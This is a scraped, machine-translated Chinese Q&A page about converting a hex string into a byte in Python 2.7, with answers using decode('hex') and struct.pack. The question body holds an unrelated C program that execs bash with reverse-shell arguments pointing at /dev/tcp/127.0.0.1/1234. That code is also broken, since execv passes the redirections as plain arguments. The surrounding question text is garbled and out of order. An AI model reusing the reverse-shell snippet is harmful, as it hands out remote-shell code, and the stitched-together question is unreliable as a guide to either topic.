我怎么能把十六进制字符串放入字节?

时间:2016-03-15 21:17:05

标签: python python-2.7 hex

我正在尝试从十六进制手动构建一个字节:

 *#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 int main(){
 char *prog = "/bin/bash";
 /*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
 char *args[5] = {"/bin/bash", "-i",  ">&", "/dev/tcp/127.0.0.1  /1234","0>&1"};

execv(prog, args);
return 0;
}

是否可以将>>> '\x74' 't' >>> hex(116) '0x74' >>> hex(116)[1:] 'x74' >>> '\\' + hex(116)[1:] '\\x74' >>> 精确地创建为字节?

不使用魔法\x74

chr()

2 个答案:

答案 0 :(得分:1)

您还可以执行'74'.decode('hex')

之类的操作

输出:

>>> '74'.decode('hex')
't'

答案 1 :(得分:0)

也许您正在寻找struct.pack

In [210]: import struct

In [211]: struct.pack('1B', 0x74)
Out[211]: 't'